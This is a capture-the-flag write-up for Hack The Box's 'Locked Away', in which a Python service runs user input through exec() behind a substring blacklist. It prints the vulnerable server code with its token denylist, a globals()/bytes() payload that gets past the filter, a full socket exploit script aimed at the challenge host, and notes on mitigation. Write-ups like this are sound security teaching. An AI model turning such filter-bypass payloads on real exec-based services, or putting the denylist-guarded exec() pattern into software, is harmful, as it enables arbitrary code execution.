Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Locked Away

CTF writeup for Locked Away from HTB CTF TRY OUT

//Locked Away

Challenge name: Locked Away

Remote: nc 94.237.56.254 58921

Flag format: HTB{...}


>Summary

This challenge presents a Python-based interactive service that reads user input and executes it with exec(). A blacklist of substrings is used to try to prevent abuse. The goal is to retrieve the flag printed by a helper function open_chest() that reads flag.txt.

I bypassed the blacklist by reconstructing the string name open_chest from its ASCII byte values using bytes(...) and then retrieving the function object from globals() without using any blacklisted tokens (no open, flag, quotes, square brackets, etc.).

>Files in the challenge

  • main.py — server script (examined locally)

  • flag.txt — contains the flag when read locally

  • Dockerfile, build_docker.sh — not necessary for solving

>Vulnerable code (excerpt)

The key part of main.py is below. It defines open_chest() and then executes input via exec() only after checking a blacklist:

python

banner = r'''...'''

  

def open_chest():

    with open('flag.txt', 'r') as f:

        print(f.read())

  

blacklist = [

    'import', 'os', 'sys', 'breakpoint',

    'flag', 'txt', 'read', 'eval', 'exec',

    'dir', 'print', 'subprocess', '[', ']',

    'echo', 'cat', '>', '<', '"', "'", 'open'

]

  

print(banner)

  

while True:

    command = input('The chest lies waiting... ')

  

    if any(b in command for b in blacklist):

        print('Invalid command!')

        continue

  

    try:

        exec(command)

    except Exception:

        print('You have been locked away...')

        exit(1337)

The vulnerability is exec(command) combined with an incomplete denylist (blacklist). The blacklist blocks several dangerous keywords and characters but doesn't prevent every way of referencing functions/objects.

>Approach and reasoning

  1. The direct approach of typing open_chest() or open('flag.txt') is blocked due to substrings like open, flag, quotes and square brackets.

  2. Since open_chest is already defined in the program's global scope, we can access it via globals() without typing its name directly as a string with quotes.

  3. We still need to specify the name open_chest. The blacklist blocks single or double quotes and square brackets, so we cannot write 'open_chest' or use ['open_chest'].

  4. Instead, reconstruct the name from its ASCII bytes using bytes((111,112,101,110,95,99,104,101,115,116)).decode() which creates the string open_chest without using quotes. Then use globals().get(...) to grab the function object.

  5. Call the function only if it's callable (to avoid raising errors), e.g. f=globals().get(...); callable(f) and f() — this is a short, single-line payload suitable for exec().

This avoids the blacklist tokens and calls the function to print the flag.

>Payload used

Single-line payload sent to the service (no blacklisted tokens used):

f=globals().get(bytes((111,112,101,110,95,99,104,101,115,116)).decode()); callable(f) and f()

Explanation:

  • bytes((111,112,...)) creates a bytes object from ASCII codes. The sequence corresponds to open_chest.

  • .decode() converts bytes to the string open_chest without using quotes.

  • globals().get(name) returns the object referenced by that name if present in globals.

  • callable(f) and f() calls the function only if it's callable. This avoids exceptions if f is None.

>Exploit script

I added an automated exploit script 001_exploit.py that connects to the remote service, sends the payload, and prints the response. The script uses non-blocking socket I/O and select to avoid read timeouts and prints progress in the terminal.

Full script (001_exploit.py):

python

#!/usr/bin/env python3

"""

001_exploit.py

Connect to the remote Locked Away service and send a payload that calls

open_chest() without using any blacklisted substrings.

  

This script shows live progress in the terminal with simple separators and emojis.

"""

import socket

import sys

import time

import select

  

HOST = '94.237.56.254'

PORT = 58921

PAYLOAD_LINES = [

    # Safer single-line payload: get the function object by name and call it only if callable.

    # Uses bytes(...) to reconstruct the name 'open_chest' without quotes or brackets.

    "f=globals().get(bytes((111,112,101,110,95,99,104,101,115,116)).decode()); callable(f) and f()",

]

  

SEP = "\n" + "=" * 60 + "\n"

  
  

def hexdump_prefix(msg):

    return f"🔍 {msg}"

  
  

def main():

    print(SEP)

    print(hexdump_prefix("Connecting to remote service"))

    print(SEP)

  

    s = socket.create_connection((HOST, PORT), timeout=10)

    # Use raw socket recv/send and select for robust non-blocking IO

    s.setblocking(False)

  

    try:

        # Read initial banner/prompt until we see the input prompt

        buf = ''

        found_prompt = False

        start = time.time()

        while True:

            ready = select.select([s], [], [], 1)[0]

            if not ready:

                # timeout waiting for data

                if time.time() - start > 10:

                    break

                continue

            data = s.recv(4096)

            if not data:

                break

            text = data.decode('utf-8', errors='ignore')

            buf += text

            for line in text.splitlines(True):

                print(line.rstrip())

                if 'The chest lies waiting...' in line:

                    found_prompt = True

                    break

            if found_prompt:

                break

  

        print(SEP)

        print(hexdump_prefix("Sending payload (safe payload, avoids blacklist)"))

        print(SEP)

  

        for L in PAYLOAD_LINES:

            print(f"➡️ Sending: {L}")

            s.sendall((L + '\n').encode())

            # small delay so remote processes lines visibly

            time.sleep(0.12)

  

        # After sending payload, read until we see HTB{...} or timeout

        flag = None

        start = time.time()

        buffer_acc = ''

        while True:

            ready = select.select([s], [], [], 1)[0]

            if ready:

                data = s.recv(4096)

                if not data:

                    break

                text = data.decode('utf-8', errors='ignore')

                buffer_acc += text

                for line in text.splitlines(True):

                    print(line.rstrip())

                    if 'HTB{' in line:

                        # extract flag-like substring

                        idx = line.find('HTB{')

                        if idx != -1:

                            flag_part = line[idx:]

                            # trim newline

                            flag = flag_part.strip()

                            break

                if flag:

                    break

            if time.time() - start > 20:

                break

  

        print(SEP)

        if flag:

            print(f"🏁 Flag found: {flag}")

        else:

            print("⚠️  Flag not found in output. Try increasing timeout or inspect interaction manually.")

        print(SEP)

  

    finally:

        try:

            s.close()

        except Exception:

            pass

  
  

if __name__ == '__main__':

    main()

>Results

Running the exploit retrieved the flag:

HTB{bYp4sSeD_tH3_fIlT3r5?_aLw4Ys_b3_c4RefUL!_b80696bcf909b08aada7bbae8f4b6b2b}

>Lessons and mitigations

  • Denylists are brittle. It's easy to bypass a blacklist by constructing strings or using other language features.

  • Prefer allowlists (whitelists) that only permit a small, parsed subset of operations, or sandbox execution using restricted interpreters or separate processes with constrained privileges.

  • If you must execute dynamic code, use secure parsing, AST inspection, or run the code in a heavily confined environment (e.g., very restricted container, seccomp, or with no file access).

>Additional notes

  • The local flag.txt in the distributed zip was HTB{f4k3_fLaG_f0r_t3sTiNg}; the remote service returned the real flag shown above.

  • I created 001_exploit.py and 002_README.md in the workspace for reproducibility.